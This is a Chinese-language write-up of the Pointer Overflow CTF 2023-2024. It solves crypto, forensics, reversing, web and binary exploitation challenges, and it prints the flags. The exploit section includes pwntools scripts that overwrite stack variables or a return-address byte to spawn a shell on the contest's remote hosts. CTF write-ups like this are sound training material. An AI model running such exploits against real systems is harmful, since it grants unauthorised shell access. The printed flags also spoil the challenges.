2023-2024 Pointer Overflow CTF WP
一个很有意思的比赛,最近闲着没事就来玩玩!只做了一部分,哎!后面有时间再做吧!
比赛时间:September 17th, 2023 to January 21st, 2024
目前排名
Crypto
Unquestioned and Unrestrained
题目
First crypto challenge so we have to keep it easy. Here's the flag, but it's encoded. All you have to do is figure out which method was used. Luckily, it's a common one.
cG9jdGZ7dXdzcF80MTFfeTB1Ml84NDUzXzQyM184MzEwbjlfNzBfdTV9
我的解答:
签到题,密文直接base64解码
poctf{uwsp_411_y0u2_8453_423_8310n9_70_u5}
A Pale, Violet Light
题目
e= 5039
N = 34034827
C = 933969 15848125 24252056 5387227 5511551 10881790 3267174 14500698 28242580 933969 32093017 18035208 2594090 2594090 9122397 21290815 15930721 4502231 5173234 21290815 23241728 2594090 21290815 18035208 10891227 15930721 202434 202434 21290815 5511551 202434 4502231 5173234 25243036
我的解答:
考点:c列表循环,广播攻击
先分解N得到
p=5807
q=5861
exp:
#coding:utf-8
from Crypto.Util.number import *
import gmpy2
n = 34034827
p=5807
q=5861
e = 5039
message = "933969 15848125 24252056 5387227 5511551 10881790 3267174 14500698 28242580 933969 32093017 18035208 2594090 2594090 9122397 21290815 15930721 4502231 5173234 21290815 23241728 2594090 21290815 18035208 10891227 15930721 202434 202434 21290815 5511551 202434 4502231 5173234 25243036"
phi = (p - 1) * (q - 1)
d = gmpy2.invert(e, phi)
flag = ''
for i in message.split(" "):
m = gmpy2.powmod(int(i), d, n)
flag += str(long_to_bytes(m))[2:3]
print(flag)
#poctf{uwsp_533k 4nd y3 5h411 f1nd}
记得结果补全:_
poctf{uwsp_533k_4nd_y3_5h411_f1nd}
Missing and Missed
题目
A little cerebral fornication to round out the crypto challenges.
++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>++++++++++++.-.------------.+++++++++++++++++.--------------.+++++++++++++++++++++.------.++.----.---.-----------------.<<++++++++++++++++++++.-.++++++++.>>+++++++++.<<--.>>---------.++++++++++++++++++++++++.<<-----.--.>>---------.<<+++++++++.>>---------------.<<---------.++.>>.+++++++.<<--.++.+++++++.---------.+++++++..----.>>++++++++.+++++++++++++++.
我的解答:
考点:BrainFuck
poctf{uwsp_219h7_w20n9_02_f0290773n}
MISC
Here You See A Passer By
题目
Simple task - solve the maze and find the flag. The password is poctf2023
题目给了一个加密的pdf
我的解答:
使用提示密码打开得到:
大眼一看需要走迷宫,我们根据关键字走迷宫即可,如下:
得到
poctf{uwsp_pr377y_bu7_p377y_bu7_pr377y}
Forensics
If You Don't, Remember Me
题目
Here is a PDF file that seems to have some problems. I'm not sure what it used to be, but that's not important. I know it contains the flag, but I'm sure you can find it and drag it out of the file somehow. This is a two-step flag as you will find it partially encoded.
给了一个pdf
我的解答:
010打开文件,在末尾直接看到结果
hex解码得到
poctf{uwsp_w31c0m3_70_7h3_94m3}
A Petty Wage in Regret
题目
Here is a very interesting image. The flag has been broken up into several parts and embedded within it, so it will take a variety of skills to assemble it.
我的解答:
010打开图片,文件头发现一串16进制
解码得到flag前一段
poctf{uwsp_7h3_w0rld_h4d
试了好多隐写发现图片并没有。后来无意间把图片放大发现有锐化部分,找出来(这个17前面的下划线真的狗!一开始没找出来,太不显眼了!,后来提交不对猜测有这个下划线。。)
最终flag为:poctf{uwsp_7h3_w0rld_h4d_17_f1257}
Better to Burn in the Light
题目
This is an image of a disk that once contained several files. They were deleted prior to imaging, unfortunately. To find the flag, we're going to need to bring some of them back from the dead. The flag is actually broken up between two of them. Carve the files out of the image and restore any missing file headers to find the pieces to reassemble.
我的解答:
压缩包解压后一堆阿巴阿巴!!
这题真的很艹!搞了半天啥也没搞到,后来发现这个压缩包可以修复,而且修复出来会有多出的文件。。
找到了可疑的m.jpg,010打开发现有两个jpg文件头。。
看着第一个文件头内容很短,删掉第一部分的,然后保存得到flag第一段。
有点糊!但没关系。。
下一步找第二段,分析下其他文件吧!毕竟给的很多不可能都没有用。
经过010挨个查找发现文档d实际为一张没有文件头的jpg文件,补全即可。
最终flag为:poctf{uwsp_5h1v3r_m3_71mb3r5}
Crack
The Gentle Rocking of the Sun
题目
Here's a password protected archive. Problem is that I seem to have forgotten das Passwort. All I have is this post-it note on my monitor that says "crack2 = 4bd939ed2e01ed1e8540ed137763d73cd8590323"
我的解答:
根据题目描述4bd939ed2e01ed1e8540ed137763d73cd8590323
,直接cmd5得到
zwischen
解压打开后发现文件夹套娃,每个文件夹名字对应就是flag的每个字符,找全即可
poctf{uwsp_c411f02n14_d234m1n9}
RE
Easy as it Gets
题目
It doesn't get much easier than this when it comes to reverse engineering. Here we have a "secure" PowerShell script. All you need to do is figure out the super secret passphrase to decrypt the flag.
查看代码
[Reflection.Assembly]::LoadWithPartialName("System.Security")
function Encrypt-String($String, $Passphrase, $salt="SaltCrypto", $init="IV_Password", [switch]$arrayOutput)
{
$r = new-Object System.Security.Cryptography.RijndaelManaged
$pass = [Text.Encoding]::UTF8.GetBytes($Passphrase)
$salt = [Text.Encoding]::UTF8.GetBytes($salt)
$r.Key = (new-Object Security.Cryptography.PasswordDeriveBytes $pass, $salt, "SHA1", 5).GetBytes(32) #256/8
$r.IV = (new-Object Security.Cryptography.SHA1Managed).ComputeHash( [Text.Encoding]::UTF8.GetBytes($init) )[0..15]
$c = $r.CreateEncryptor()
$ms = new-Object IO.MemoryStream
$cs = new-Object Security.Cryptography.CryptoStream $ms,$c,"Write"
$sw = new-Object IO.StreamWriter $cs
$sw.Write($String)
$sw.Close()
$cs.Close()
$ms.Close()
$r.Clear()
[byte[]]$result = $ms.ToArray()
return [Convert]::ToBase64String($result)
}
function Decrypt-String($Encrypted, $Passphrase, $salt="SaltCrypto", $init="IV_Password")
{
if($Encrypted -is [string]){
$Encrypted = [Convert]::FromBase64String($Encrypted)
}
$r = new-Object System.Security.Cryptography.RijndaelManaged
$pass = [Text.Encoding]::UTF8.GetBytes($Passphrase)
$salt = [Text.Encoding]::UTF8.GetBytes($salt)
$r.Key = (new-Object Security.Cryptography.PasswordDeriveBytes $pass, $salt, "SHA1", 5).GetBytes(32) #256/8
$r.IV = (new-Object Security.Cryptography.SHA1Managed).ComputeHash( [Text.Encoding]::UTF8.GetBytes($init) )[0..15]
$d = $r.CreateDecryptor()
$ms = new-Object IO.MemoryStream @(,$Encrypted)
$cs = new-Object Security.Cryptography.CryptoStream $ms,$d,"Read"
$sr = new-Object IO.StreamReader $cs
Write-Output $sr.ReadToEnd()
$sr.Close()
$cs.Close()
$ms.Close()
$r.Clear()
}
cls
####
# TODO: use strong password
# Canadian_Soap_Opera
###
$pwd = read-host "(Case Sensitive) Please Enter User Password"
$pcrypted = "TTpgx3Ve2kkHaFNfixbAJfwLqTGQdk9dkmWJ6/t0UCBH2pGyJP/XDrXpFlejfw9d"
write-host "Encrypted Password is: $pcrypted"
write-host ""
write-host "Testing Decryption of Username / Password..."
write-host ""
$pdecrypted = Decrypt-String $pcrypted $pwd
write-host "Decrypted Password is: $pdecrypted"
我的解答:
我们分析powershell代码,发现只需要把pwd变量赋值为”Canadian_Soap_Opera“,然后运行powershell代码即可
function Decrypt-String($Encrypted, $Passphrase, $salt="SaltCrypto", $init="IV_Password")
{
if($Encrypted -is [string]){
$Encrypted = [Convert]::FromBase64String($Encrypted)
}
$r = new-Object System.Security.Cryptography.RijndaelManaged
$pass = [Text.Encoding]::UTF8.GetBytes($Passphrase)
$salt = [Text.Encoding]::UTF8.GetBytes($salt)
$r.Key = (new-Object Security.Cryptography.PasswordDeriveBytes $pass, $salt, "SHA1", 5).GetBytes(32) #256/8
$r.IV = (new-Object Security.Cryptography.SHA1Managed).ComputeHash( [Text.Encoding]::UTF8.GetBytes($init) )[0..15]
$d = $r.CreateDecryptor()
$ms = new-Object IO.MemoryStream @(,$Encrypted)
$cs = new-Object Security.Cryptography.CryptoStream $ms,$d,"Read"
$sr = new-Object IO.StreamReader $cs
Write-Output $sr.ReadToEnd()
$sr.Close()
$cs.Close()
$ms.Close()
$r.Clear()
}
$pwd = "Canadian_Soap_Opera"
$pcrypted = "TTpgx3Ve2kkHaFNfixbAJfwLqTGQdk9dkmWJ6/t0UCBH2pGyJP/XDrXpFlejfw9d"
write-host "Encrypted Password is: $pcrypted"
write-host ""
write-host "Testing Decryption of Username / Password..."
write-host ""
$pdecrypted = Decrypt-String $pcrypted $pwd
write-host "Decrypted Password is: $pdecrypted"
得到
poctf{uwsp_4d_v1c70r14m_w4573l4nd3r}
A Tangled Web We Weave
题目
The flag has been hidden in these assembly instructions, except I forgot how to decode it... If you figure it out you get the flag.
section .data
encoded_message db 0x0F, 0x10, 0x1C, 0x0B, 0x19, 0x04, 0x0A, 0x08, 0x0C, 0x0F, 0x20, 0x14, 0x4E, 0x11, 0x46, 0x20, 0x14, 0x4F, 0x11, 0x46, 0x20, 0x46, 0x4F, 0x48, 0x20, 0x11, 0x4F, 0x48, 0x17, 0x4E, 0x11, 0x46, 0x20, 0x4F, 0x11, 0x20, 0x12, 0x4C, 0x02
section .text
global _start
_start:
mov ecx, 0
mov edi, encoded_message
find_length:
cmp byte [edi], 0
je print_message
inc ecx
inc edi
jmp find_length
print_message:
xor esi, esi
mov edi, encoded_message
decode:
xor eax, eax
mov al, byte [edi + esi]
xor al, ; something missing?
mov byte [edi + esi], al
inc esi
cmp byte [edi + esi], 0
jne decode
mov edx, ecx
mov eax, 4
mov ebx, 1
mov ecx, encoded_message
int 0x80
mov eax, 1
xor ebx, ebx
int 0x80
我的解答:
分析汇编代码可知解密第一步是异或4,第二步是异或一个未知的值。
我们可以根据flag的形式猜测encoded_message的第一个字符应该为p,0x0F^4^ord('p')
得到123,依次检测第二个字符异或后为o,
OK!就是这样,写个脚本
a = "0x0F, 0x10, 0x1C, 0x0B, 0x19, 0x04, 0x0A, 0x08, 0x0C, 0x0F, 0x20, 0x14, 0x4E, 0x11, 0x46, 0x20, 0x14, 0x4F, 0x11, 0x46, 0x20, 0x46, 0x4F, 0x48, 0x20, 0x11, 0x4F, 0x48, 0x17, 0x4E, 0x11, 0x46, 0x20, 0x4F, 0x11, 0x20, 0x12, 0x4C, 0x02"
a = a.split(',')
for i in a:
print(chr(int(i,16)^4^123),end="")
#poctf{uwsp_k1n9_k0n9_907_n07h1n9_0n_m3}
Sunshine on Filth is Not Polluted
题目
Log in with a valid username and PIN code, and this program will give you a shell. The username is easy to identify, but the PIN code is randomly generated!
Here's a hint, but you'll need to work for it a bit. Two hashed words: f704f57ea420275ad51bf55b7dec2c96 87cd8b8808600624d8c590cfc2e6e94b
To get the flag, you will need to exploit the binary on a live system. The binary is running on 34.123.210.162 port 20231 and the flag can be found in the /home/re3 directory when you get a shell.
我的解答:
题目提示的两个哈希没什么用,我们看到main函数如下:
int __cdecl main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
generate_code();
configure_username();
login();
return 0;
}
首先执行函数generate_code()创建随机认证码:
__int64 generate_code()
{
__int64 result; // rax
unsigned int v1; // [rsp+0h] [rbp-10h]
v1 = (rand() + 123) % 10000;
result = v1;
auth_code = v1;
return result;
}
创建完后显示选项,与user进行交互:
__int64 configure_username()
{
__int64 result; // rax
char src[16]; // [rsp+0h] [rbp-10h] BYREF
while ( 1 )
{
printf("Options: (1) Enter username, (2) Confirm username, (3) Done: ");
result = get_int();
if ( (_DWORD)result == 3 )
break;
if ( (int)result <= 3 )
{
if ( (_DWORD)result == 1 )
{
printf("Username: ");
__isoc99_scanf("%15s", src);
strncpy(auth_username, src, 0x10uLL);
}
else if ( (_DWORD)result == 2 )
{
printf("Current username is: %s\n", src);
}
}
}
return result;
我们可以看到,src和v1到rbp的距离相等,也就是说在没有输入src之前,v1的值即为认证码的值,可以通过输入2来显示此时src(也就是v1)的值,来获取认证码。
exp:
from pwn import *
local = 2
if local == 1:
io = process('./re3.bin')
else:
io = remote('34.123.210.162',20231)
io.recvuntil(":")
io.sendline("2")
io.recvuntil("is: ")
auth_code = u16(io.recv(2))
io.recvuntil(":")
io.sendline("1")
io.recvuntil("Username: ")
io.sendline("admin")
io.recvuntil(":")
io.sendline("3")
io.recvuntil("code: ")
io.sendline(str(auth_code))
io.interactive()
#poctf{uwsp_7h3_1355_y0u_kn0w_7h3_837732}
Exploit
My Friend, A Loathsome Worm
题目
This one should be quite straight forward. Can you trick this program into popping a shell without even bothering to overwrite the return address? Why pick the lock when you can simply remove the hinges. :)
The binary is running at 34.123.210.162 port 20232
我的解答:
main函数如下:
查看代码
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // [rsp+Ch] [rbp-34h]
__int64 v4[3]; // [rsp+10h] [rbp-30h] BYREF
int v5; // [rsp+28h] [rbp-18h]
int v6; // [rsp+2Ch] [rbp-14h]
unsigned __int64 v7; // [rsp+38h] [rbp-8h]
v7 = __readfsqword(0x28u);
v4[0] = '321tseuG';
v4[1] = 0LL;
v4[2] = 0LL;
v5 = 0;
v6 = 999;
((void (__fastcall *)(int, const char **))init)(argc, argv);
printf("Welcome, you are logged in as '%s'\n", (const char *)v4);
while ( 1 )
{
printf("\nHow can I help you, %s?\n", (const char *)v4);
puts(" (1) Change username");
puts(" (2) Switch to root account");
puts(" (3) Start a debug shell");
printf("Choice: ");
v3 = get_int();
switch ( v3 )
{
case 1:
printf("Enter new username: ");
__isoc99_scanf("%s", v4);
break;
case 2:
puts("Sorry, root account is currently disabled");
break;
case 3:
if ( v6 == 999 )
{
puts("Sorry, guests aren't allowed to use the debug shell");
}
else if ( v6 == 1337 )
{
puts("Starting debug shell");
execl("/bin/bash", "/bin/bash", 0LL);
}
else
{
puts("Unrecognized user type");
}
break;
default:
puts("Unknown option");
break;
}
}
}
由于v6距离rbp的距离在v4的下面,所以我们输入的v4可以直接把v6覆盖掉。
exp:
from pwn import *
local = 2
if local == 1:
io = process('./exploit1.bin')
else:
io = remote('34.123.210.162',20232)
payload = b'a'*(0x30-0x14)+p32(1337)
io.recvuntil("Choice: ")
io.sendline("1")
io.recvuntil("username: ")
io.sendline(payload)
io.recvuntil("Choice: ")
io.sendline("3")
io.interactive()
#poctf{uwsp_5w337_c10v32_4nd_50f7_511k}
Time is but a Window
题目
Think small, and simple. No fancy ROP chains or shellcode necessary, a single byte should be sufficient.
Binary is running at 34.123.210.162 port 20234
我的解答:
此题开了PIE保护,地址是随机的,存在后门函数win():
int win()
{
alarm(0);
return execl("/bin/bash", "/bin/bash", 0LL);
}
发现函数greet()存在溢出漏洞:
int greet()
{
char v1[16]; // [rsp+0h] [rbp-10h] BYREF
printf("Hello! What's your name?: ");
get_string(v1);
return printf("Nice to meet you %s!\n", v1);
}
函数greet()的运行地址0x1364和win()的运行地址0x13cb仅后两位不同,由于相对距离不变,所以我们可以直接覆盖后两位。
exp:
from pwn import *
local = 2
if local == 1:
io = process('./exploit3.bin')
else:
io = remote('34.123.210.162',20234)
payload = b'a'*0x10+p64(0xdeadbeef)+p8(0xcb)
io.recvuntil("name?: ")
io.sendline(payload)
io.interactive()
#poctf{uwsp_71m3_15_4_f4c702}
WEB
Vigil of the Ceaseless Eyes
题目
Hey, contestants! Allow me to take this opportunity to debut the hottest new social media platform on the planet. I call it ManyKins! There is also ZERO chance it has ANY vulnerabilities that might allow one to find the flag (under /secret/flag.pdf)!
我的解答:
根据提示flag路径以及靶场已经给了,/ManyKin/secret/flag.pdf
,直接用IDM下载该文件就可以。
IDM下载链接:https://blog.csdn.net/qq_63303818/article/details/132366618
记得在火狐添加对应插件,当然下载pdf的时候会自动提示让你添加插件的,不用担心!
poctf{uwsp_71m3_15_4n_1llu510n}
We Rest Upon a Single Hope
题目
I am Vinz, Vinz Clortho, Keymaster of Gozer. Volguus Zildrohar, Lord of the Sebouillia. Are you the Gatekeeper?
我的解答:
点击靶场如下:
F12打开控制台,随便输入内容提交后发现提示:
Gozer the Traveler. He will come in one of the pre-chosen forms. During the rectification of the Vuldrini, the traveler came as a large and moving Torg! Then, during the third reconciliation of the last of the McKetrick supplicants, they chose a new form for him: that of a giant Slor! Many Shuvs and Zuuls knew what it was to be roasted in the depths of the Slor that day, I can tell you!
分析源代码,发现提交的参数名是key,当key==v
时,会出现flag。
v的值直接使用console.log进行输出:
提交此值,并且在控制台打印出来即可。
?key=v
Stego
Absence Makes Hearts Go Yonder
An Invincible Summer(未出!)
Between Secrets and Lies(未出!)